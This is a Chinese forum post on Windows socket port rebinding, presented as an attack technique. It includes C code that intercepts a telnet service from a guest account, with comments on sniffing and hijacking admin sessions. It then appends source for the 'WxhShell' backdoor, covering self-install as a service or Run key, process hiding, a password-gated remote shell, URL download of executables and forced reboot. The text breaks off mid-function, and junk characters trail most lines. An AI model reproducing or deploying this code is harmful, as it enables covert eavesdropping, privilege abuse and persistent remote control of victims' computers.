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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zoc0!84<z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !7&5` q7  
,-e{(L  
  saddr.sin_family = AF_INET; 9?3&?i2-  
@jlw_ob2g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .eP.&  
g|Fn7]G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dl8;$~  
E`k@{*Hn&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wIBO ^w\J  
8Dm%@*B^b  
  这意味着什么?意味着可以进行如下的攻击: K:Q<CQ2  
iRi-cQVy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %-e 82J1  
~**.|%Kc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AjgF6[B  
[=^3n#WW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R+,u^;\  
KFkoS0M5|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XNu^`Ha  
f:.I0 ST  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X/M4!L}\  
_OC<[A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *GN# r11d  
Clb@$,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5RpjN: 3  
3gj+%%!G\  
  #include ;?g6QIN9  
  #include ^Zy% fv,  
  #include y {<9]'  
  #include    M_w<m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `P;s 8~  
  int main() 7;(UF=4  
  { \`\ZTZni  
  WORD wVersionRequested; B i<Q=x'Z;  
  DWORD ret; hzbw>g+  
  WSADATA wsaData; Wh 2tNyS  
  BOOL val; v+=BCyT  
  SOCKADDR_IN saddr; 3nnJ8zQ  
  SOCKADDR_IN scaddr; #3 pb(fbw  
  int err; B|AV$N*  
  SOCKET s; RT J3qhY  
  SOCKET sc; fCobzDy  
  int caddsize; g]yBA7/S"  
  HANDLE mt; yU}qOgXx  
  DWORD tid;   8d-t|HkN  
  wVersionRequested = MAKEWORD( 2, 2 ); df#$ 9 -  
  err = WSAStartup( wVersionRequested, &wsaData ); TSWM |#u':  
  if ( err != 0 ) { cX OK)g#  
  printf("error!WSAStartup failed!\n"); &7wd?)s  
  return -1; @\P;W(m.i  
  } 6ez<g Uf  
  saddr.sin_family = AF_INET;  3 +fp2  
   ;<2 G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4G>H  
U,-39mr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h"lv7;B$  
  saddr.sin_port = htons(23); Ev(>z-{F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'B0{_RaTb  
  { Gvqxi|  
  printf("error!socket failed!\n"); T+K):u g  
  return -1; P{+T< bk|  
  } 8j\cL'  
  val = TRUE; \:ak ''  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |(LZ9I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dg"3rs /?A  
  { J 9iy  
  printf("error!setsockopt failed!\n"); X;c'[q  
  return -1; tX %5BTv  
  } >!1.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jrpx}2'9:a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 25[I=ZdS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MsGM5(r:b  
C"T;Qp~B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nyj( 0W  
  { ,1CIBFY  
  ret=GetLastError(); !XCm>]R  
  printf("error!bind failed!\n"); xZwLlY  
  return -1; hUMf"=q+  
  } % pd,%pg  
  listen(s,2); :'l^kSP_*C  
  while(1) thM4vq   
  { D"?fn<2  
  caddsize = sizeof(scaddr); r^a7MHY1  
  //接受连接请求 $LFYoovX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ssxzC4m  
  if(sc!=INVALID_SOCKET) y6, /:qm  
  { 9!}8UALD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $!yW_HTx  
  if(mt==NULL) 1@1U/ss1  
  { =i*;VFc  
  printf("Thread Creat Failed!\n"); ]4]6Qki  
  break; %)I{%~u0  
  } h*$y[}hDuv  
  } b8SHg^}  
  CloseHandle(mt); g^{@'}$  
  } m(#LhlX  
  closesocket(s); ?fjuh}Q5h  
  WSACleanup(); #[~pD:qqM  
  return 0; Zk"eA'"\  
  }   [^e%@TV>d  
  DWORD WINAPI ClientThread(LPVOID lpParam) ft KTnK.  
  { sN2p76KN  
  SOCKET ss = (SOCKET)lpParam;  &NK,VB;  
  SOCKET sc; S4Ww5G?.  
  unsigned char buf[4096]; &*G #H~\  
  SOCKADDR_IN saddr; >kp?vK;'B  
  long num; \GZM&Zd  
  DWORD val; Ksj -zR;  
  DWORD ret; fNt`?pW H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {~s DYRX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A}N?/{y)G  
  saddr.sin_family = AF_INET; SY^t} A7:/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7KL v6]b  
  saddr.sin_port = htons(23); kDN:ep{/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,>-< (Qi  
  { g/+C@_&m  
  printf("error!socket failed!\n"); 4^~(Mh-Mw  
  return -1; OFv%B/O  
  } TQ*1L:X7M&  
  val = 100; ^_u kLzP9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 48qV >Gwf  
  { &c:Ad% z  
  ret = GetLastError(); #( jw!d&  
  return -1; ,5, !es@`b  
  } E}p&2P+MR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =L:4i\4  
  { 2h1C9n%j9  
  ret = GetLastError(); 87P>IO  
  return -1; U\;6mK)M^J  
  } ()+ <)hg}2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^,8)iV0j_  
  { J )~L   
  printf("error!socket connect failed!\n"); bMMh|F  
  closesocket(sc); EzV96+  
  closesocket(ss); DV-;4AxxRq  
  return -1; "C SC  
  } B$!)YD;  
  while(1) V'T ,4  
  { 7=WT69,&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (>GK \=:<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `[)YEg s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L>%o[tS  
  num = recv(ss,buf,4096,0); %$ Z7x\_  
  if(num>0) T' &I{L33Y  
  send(sc,buf,num,0); MIoEauf  
  else if(num==0) I`LuRl w  
  break; $!(pF  
  num = recv(sc,buf,4096,0); Jjv=u   
  if(num>0) M|qteo  
  send(ss,buf,num,0); H {k^S\K  
  else if(num==0) * %M3PTY\  
  break; ( ?{MEwHG  
  } Q=T&  
  closesocket(ss); j|%HIF25  
  closesocket(sc); U,q\em R  
  return 0 ; 7C ,UDp|  
  } .wu xoq  
w1#gOwA,$  
}36QsH8  
========================================================== ;u(<h?%e  
M8Z2Pg\0  
下边附上一个代码,,WXhSHELL "WK{ >T  
o=?C&f{  
========================================================== 5HO9 +i  
h!ZV8yMc  
#include "stdafx.h" >W`4aA  
oifv+oY  
#include <stdio.h> B'EKM)dA  
#include <string.h> 7`8Ik`lY  
#include <windows.h> BT"42#7_  
#include <winsock2.h> aKuSd3E@#  
#include <winsvc.h> h{p=WWK  
#include <urlmon.h> ~UjGSO)z}  
``e$AS  
#pragma comment (lib, "Ws2_32.lib") *nsAgGKKM^  
#pragma comment (lib, "urlmon.lib") oDYRQozo>  
<5jzl  
#define MAX_USER   100 // 最大客户端连接数 y2vUthRwo  
#define BUF_SOCK   200 // sock buffer Zx  bq  
#define KEY_BUFF   255 // 输入 buffer glXZZ=j  
iN0nw]_*  
#define REBOOT     0   // 重启 "D=P8X&vs  
#define SHUTDOWN   1   // 关机 '-b*EZU8t  
zs*L~_K  
#define DEF_PORT   5000 // 监听端口 (RZD'U/B  
,gOOiB }  
#define REG_LEN     16   // 注册表键长度 sWblFvHqrU  
#define SVC_LEN     80   // NT服务名长度 SD$h@p=!=  
eI:C{0p=  
// 从dll定义API xz{IH,?IG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )Ocl=H|=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gz[fG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c#]q^L\x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <_Q:'cx'  
hq/k*;  
// wxhshell配置信息 MxcFvo*LCp  
struct WSCFG { wz.6du6-  
  int ws_port;         // 监听端口 eT8}  
  char ws_passstr[REG_LEN]; // 口令 =xJKIu  
  int ws_autoins;       // 安装标记, 1=yes 0=no G 0;XaL:  
  char ws_regname[REG_LEN]; // 注册表键名 _}VloiY  
  char ws_svcname[REG_LEN]; // 服务名 )V:]g\t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  n>`as  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /'DsB%7g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YH_7=0EJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -!L"')  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X'% ;B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QZhj b  
g HbxgeL  
}; 6 ]pX>Xho  
Y.U[wL>  
// default Wxhshell configuration T%n2$  
struct WSCFG wscfg={DEF_PORT, {Gw.l."  
    "xuhuanlingzhe", @%lBrM  
    1, zyg  }F  
    "Wxhshell", e^Ky<*Y  
    "Wxhshell", z)=+ F]  
            "WxhShell Service", XNb ZNaAd  
    "Wrsky Windows CmdShell Service", F. =Bnw/-  
    "Please Input Your Password: ", RxN,^!OV  
  1, zC:wNz@zK  
  "http://www.wrsky.com/wxhshell.exe", ^e>Wo7r  
  "Wxhshell.exe" 4bEf  
    }; Z)xaJGbw  
ld7v3:M  
// 消息定义模块 R &4Z*?S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +@K09ge  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )){9&5,0:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IMl!,(6;  
char *msg_ws_ext="\n\rExit."; ^~HQC*  
char *msg_ws_end="\n\rQuit."; ?EK?b s  
char *msg_ws_boot="\n\rReboot..."; -TOIc%  
char *msg_ws_poff="\n\rShutdown..."; .eO?Z^  
char *msg_ws_down="\n\rSave to "; h"[+)q%L  
dN}#2Bo =  
char *msg_ws_err="\n\rErr!"; Uyr3dN%*r  
char *msg_ws_ok="\n\rOK!"; fiN3xP]V  
d/e|'MPX  
char ExeFile[MAX_PATH]; LJTQaItdqJ  
int nUser = 0; d{de6 `  
HANDLE handles[MAX_USER]; )& <=.q  
int OsIsNt; w7n373y%  
y tf b$;|  
SERVICE_STATUS       serviceStatus; \yGsr Bl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RTu4@7XP  
wgRs Z  
// 函数声明 Q 9&kJ%Mo  
int Install(void); 3QOUU,Dt$  
int Uninstall(void); a9?y`{%L  
int DownloadFile(char *sURL, SOCKET wsh); ?kz+R'  
int Boot(int flag); ^p/Ob'!  
void HideProc(void); !!nuAQ"E[  
int GetOsVer(void); h<\_XJJ  
int Wxhshell(SOCKET wsl); H<G4O02i_  
void TalkWithClient(void *cs); 3TZ*RPmFRm  
int CmdShell(SOCKET sock); kY&h~Q  
int StartFromService(void); =@5x"MOz  
int StartWxhshell(LPSTR lpCmdLine); Iu35#j  
E|$Oha[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )CS.F=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `K >?ju"  
oo$MWN8a>r  
// 数据结构和表定义 o(Cey7  
SERVICE_TABLE_ENTRY DispatchTable[] = 02k4 N%  
{ xlR2|4|8  
{wscfg.ws_svcname, NTServiceMain}, 35x 0T/8  
{NULL, NULL} 2.X"f  
}; UP{j5gR:_  
Y}DonF  
// 自我安装 =0'q!}._!  
int Install(void) ] k8/#@19  
{ irZFV  
  char svExeFile[MAX_PATH]; Kw`VrcwjT  
  HKEY key; eb8w~   
  strcpy(svExeFile,ExeFile); s $*'^:   
x)_@9ldYv  
// 如果是win9x系统,修改注册表设为自启动 m%8q Zzqk  
if(!OsIsNt) { DBs*F x[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1]T`n/d V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2 qO3XI  
  RegCloseKey(key); {3Vk p5%l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U\?g*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g3%t8O/M  
  RegCloseKey(key); ro[Y-o5Q0  
  return 0; Fequm+  
    } -n? g~(/P  
  } .M4IGOvOS  
} OW(&s,|6x  
else { Ih[+K#t+E  
Zzl,gy70  
// 如果是NT以上系统,安装为系统服务 -)y%~Zn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ib0g3p-Lc  
if (schSCManager!=0) #9LzY  
{ ksjUr1o  
  SC_HANDLE schService = CreateService jAsO8  
  ( t%r :4,  
  schSCManager, ?oiKVL"7  
  wscfg.ws_svcname, '~wpP=<yyF  
  wscfg.ws_svcdisp, :Ld!mRZF  
  SERVICE_ALL_ACCESS, VZIR4J[\.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , www`=)A;  
  SERVICE_AUTO_START, )Os Lrq/  
  SERVICE_ERROR_NORMAL, 1[;@AE2Y  
  svExeFile, YO:&;K%  
  NULL, jec:i-,  
  NULL, `4CWE_k  
  NULL, V8z`qEPM  
  NULL, 7e&\{*  
  NULL m$$?icA  
  ); h.whjiCFa  
  if (schService!=0) *xM/ ;)  
  { zG c[Z3N  
  CloseServiceHandle(schService); ?&l)W~S  
  CloseServiceHandle(schSCManager); 7nHTlI1 b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g9my=gY  
  strcat(svExeFile,wscfg.ws_svcname); 4rU! 4l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G7* h{nE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cUDgM  
  RegCloseKey(key); !@ YXZ  
  return 0; nD,{3B#  
    } ;</Twm;:  
  } '?Iif#Z1  
  CloseServiceHandle(schSCManager); IdM*5Y>f  
} YJ2ro-X  
} xnq><4  
qA/bg  
return 1; ^i:\@VA:  
} ]R_G{%  
cQFR]i  
// 自我卸载 twk&-:'  
int Uninstall(void) fV ZW[9[  
{ |Zq\GA  
  HKEY key; xNN@1P[*  
hWcTI{v  
if(!OsIsNt) { i.rU&yT%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z4} %TT@^  
  RegDeleteValue(key,wscfg.ws_regname); hPufzhT  
  RegCloseKey(key); D(r:}pyU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G"S5ki`o  
  RegDeleteValue(key,wscfg.ws_regname); Kv+Bfh  
  RegCloseKey(key); e4qj .b  
  return 0; ibF#$&!  
  } En9R>A;`  
} %3a|<6  
} (clU$m+oXX  
else { Ls: =A6AGM  
->yeJTsE9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uk-HP\C"7  
if (schSCManager!=0) hr U :Wr  
{ X_70]^XL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mPmB6q%)]  
  if (schService!=0) \].J-^=  
  { WSI Xj5R  
  if(DeleteService(schService)!=0) { (Imp $  
  CloseServiceHandle(schService); IM-`<~(I#  
  CloseServiceHandle(schSCManager); M<qudi  
  return 0; FpkXOj?*  
  } DA LQ<iF  
  CloseServiceHandle(schService); EE%s<_k`  
  } }#b %"I0  
  CloseServiceHandle(schSCManager); b4~H3|  
} H,>#|F  
} ;1LG&h,K  
Gm&2R4)EP  
return 1; U4_"aT>M y  
} gGKKs&n7  
:z~!p~  
// 从指定url下载文件 w4:<fnOM  
int DownloadFile(char *sURL, SOCKET wsh) \X@IkL$r  
{ 56s*A*z$ ;  
  HRESULT hr; -fux2?8M  
char seps[]= "/"; dokuyiN\  
char *token; )bYez  
char *file; H%Y%fQ ~^  
char myURL[MAX_PATH]; dB`b9)Tk0z  
char myFILE[MAX_PATH]; YMAQ+A!  
^"tqdeCb=  
strcpy(myURL,sURL); I>((o`  
  token=strtok(myURL,seps); g[!Cj,  
  while(token!=NULL) gNa#|  
  { hh&Js'd  
    file=token; &N{zkMf  
  token=strtok(NULL,seps); %\yK5V5  
  } 0QR.   
%}F"*.  
GetCurrentDirectory(MAX_PATH,myFILE); zPQ$\$7xB  
strcat(myFILE, "\\"); om7`w ]  
strcat(myFILE, file); D9ywg/Q91  
  send(wsh,myFILE,strlen(myFILE),0); bhKV +oN  
send(wsh,"...",3,0); slSR=XOG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zH+<bEo=1=  
  if(hr==S_OK) P|N?OocE  
return 0; tQ0=p| T]  
else ]hUKuef  
return 1; \Ut S>4w\  
l%bq2,-%  
} fNEz  
|E|T%i^}./  
// 系统电源模块 qP`?M\!O  
int Boot(int flag) Xa Gz].Sv  
{ ype"7p\  
  HANDLE hToken; Y:%"K  
  TOKEN_PRIVILEGES tkp; &enlAV'#)O  
s=\7)n=,M  
  if(OsIsNt) { em/Xu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2B'^`>+8S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *dVD  
    tkp.PrivilegeCount = 1; F`D 9Zfd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nz @8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y<uE-4  
if(flag==REBOOT) { x9\J1\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^8\Y`Z0%  
  return 0; '5cZzC 2  
} feg`(R2  
else { dp< au A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) | /#'S&!U  
  return 0; ws().IZ  
} eU"mG3 __  
  } G,/Gq+WX  
  else { eu=|t&FKk  
if(flag==REBOOT) { < [ w++F~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `^f}$R|  
  return 0; K*[0dza$  
} 9T]va]w?#  
else { "DzG Bu\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &}|0CR.(  
  return 0; \y,; Cfl<  
} i/M+t~   
} "9 u-lcQ\  
67,3i~  
return 1; m^c%]5$  
} KY 8^BjY@  
Lo5Jb6nm  
// win9x进程隐藏模块 SZI7M"gf/+  
void HideProc(void) %8g$T6E[<2  
{ 9`,,%vdj  
C*]AL/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n\ Gg6Y  
  if ( hKernel != NULL ) eFes+i(35  
  { 5GUH;o1m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wz)m{:b<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =yo=q)W  
    FreeLibrary(hKernel); 4&H+hN{3  
  }  TVj1C  
gBfX}EK7F  
return; }P16Xb)p  
} % M+s{ l  
pV_}Or_  
// 获取操作系统版本 \4C)~T:*  
int GetOsVer(void) `GP3 D~  
{ 7ia "u+Y  
  OSVERSIONINFO winfo; ]P JH'=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7!mJhgGc  
  GetVersionEx(&winfo); 6O%=G3I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cy9N:MR(c  
  return 1; cyDiA(ot&  
  else ~S! L!qY  
  return 0; -aA<.+  
} `$f\ %  
%d ZM9I0  
// 客户端句柄模块 JPHUmv6  
int Wxhshell(SOCKET wsl) a{5H33JA  
{ kzW\z4f  
  SOCKET wsh;  \8 g.  
  struct sockaddr_in client; 1k0^6gE|  
  DWORD myID; xqU^I5Z  
-fhAtxkg  
  while(nUser<MAX_USER) EP/&m|o|G  
{ 5wy;8a  
  int nSize=sizeof(client); fHW-Je7mG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %!>k#F^S  
  if(wsh==INVALID_SOCKET) return 1; s }Xi2^x  
-%saeX Wo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d 4[poi ~  
if(handles[nUser]==0) 2f s9JP{^0  
  closesocket(wsh); `x5ll;"J  
else $Gr4sh!cE  
  nUser++; }FuVY><l  
  } v4X_v!CQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _QD/!~O  
yIM.j;5:~5  
  return 0; yl[2et  
} qT 5Wa O)  
#}nBS-+  
// 关闭 socket J!ln=h  
void CloseIt(SOCKET wsh) |Tj`qJGVw  
{ @+[Y0_  
closesocket(wsh); 3AX?B~s  
nUser--; N+ak[axN  
ExitThread(0); $z~jnc  
} M|$H+e } :  
Y}85J:q]  
// 客户端请求句柄 W^-hMT]uD  
void TalkWithClient(void *cs) hQ\#Fhu7  
{ -Mit$mFn  
r[Zg 2  
  SOCKET wsh=(SOCKET)cs; :zRB)hd  
  char pwd[SVC_LEN]; c-? Ygr  
  char cmd[KEY_BUFF]; 1x^W'n,HtK  
char chr[1]; 7 3H@kf  
int i,j; C!CaGf=  
2l]C55p)s  
  while (nUser < MAX_USER) { )G}sb*+v?  
J(H??9(s  
if(wscfg.ws_passstr) { {mKpD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ubn   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @G^j8Nl+J}  
  //ZeroMemory(pwd,KEY_BUFF); :YkDn~@  
      i=0; L5hQdT/b$  
  while(i<SVC_LEN) { W66}\&5  
9aW8wYL~b  
  // 设置超时 R4hav  
  fd_set FdRead; 7Y|Wy Oq  
  struct timeval TimeOut; #g5't4zqx  
  FD_ZERO(&FdRead); "j *fVn  
  FD_SET(wsh,&FdRead); 0Og/47dO.2  
  TimeOut.tv_sec=8; o{s4.LKK  
  TimeOut.tv_usec=0; S(q4OQ B{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e7)>U!9c9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z:@d@\$?  
+]aD^N9['  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w*]_FqE  
  pwd=chr[0]; @]}Qh;a~  
  if(chr[0]==0xd || chr[0]==0xa) { 3hp tP  
  pwd=0; >KH(nc$  
  break; !XG/,)A  
  } { &6l\|  
  i++; [346w <  
    } Th I  
$D0)j(v  
  // 如果是非法用户,关闭 socket 0B#rqTEKu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P,s)2s'nZ  
} 6|>"0[4S  
si+5h6I.}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 55u^u F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1tuator  
4AG&z,[  
while(1) { [qc6Q:  
z{<q0.^EFh  
  ZeroMemory(cmd,KEY_BUFF); Lx4H/[$6D  
l,~ N~?  
      // 自动支持客户端 telnet标准   #UP,;W  
  j=0; b*$o[wO9  
  while(j<KEY_BUFF) { .pNq-T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =}6Z{}(TT  
  cmd[j]=chr[0]; RQ_#rYmT  
  if(chr[0]==0xa || chr[0]==0xd) { ~a0d .dU  
  cmd[j]=0; 0|f_C3  
  break; 8. ~Euz  
  } btkMY<o7  
  j++; EHE6 -^F  
    } @i1.5z  
-f 'q  
  // 下载文件 8k*k  
  if(strstr(cmd,"http://")) { ]c~rPi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p]J]<QaZD  
  if(DownloadFile(cmd,wsh)) Cys/1DkE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u8$~N$L  
  else PhI{3B/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 123-i,epg  
  } P dE)m/  
  else { dzk?Zg  
>u%[J!Y;;  
    switch(cmd[0]) { eN7yjd'Y6  
  PT= 2LZ  
  // 帮助 ! Dhfr{  
  case '?': { )gm\e?^   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ek_i{'hFd  
    break; d,E/9y\e  
  } kB!M[[t  
  // 安装 aNh1e^j  
  case 'i': { <jg wdbT"6  
    if(Install()) jAK`96+D~b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \)s 3]/"7  
    else r]K0 ]h@B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0v,`P4_k  
    break; YH:W]  
    } r>D[5B  
  // 卸载 ]mDsUZf<  
  case 'r': { #|2g{7 g*  
    if(Uninstall()) .(.G`aKnF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gP"Mu#/D  
    else ABS BtH ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mz#S5 s  
    break; o::ymAj  
    } z8rh*Rfxd  
  // 显示 wxhshell 所在路径 \ { E;u'F  
  case 'p': { bN~'cs8 e  
    char svExeFile[MAX_PATH]; (Nve5  
    strcpy(svExeFile,"\n\r"); N'W >pU  
      strcat(svExeFile,ExeFile); OYCFx2{  
        send(wsh,svExeFile,strlen(svExeFile),0); ,4?|}xg  
    break; hJL0M!  
    } EJiF_  
  // 重启 U#^:f7-$.  
  case 'b': { I n%yMH8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1Y"y!\t7G  
    if(Boot(REBOOT)) GCmVmOdKr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7H@Cy}a  
    else { '3kL=(  
    closesocket(wsh); aABE= 9Y  
    ExitThread(0); we@En .>f  
    } (Su2 \x  
    break; x[,wJzp\6  
    } )SZ,J-H08w  
  // 关机 5=;I|l,  
  case 'd': { `J;/=tf09  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zm'::+ tl  
    if(Boot(SHUTDOWN)) wBaFC\CW  
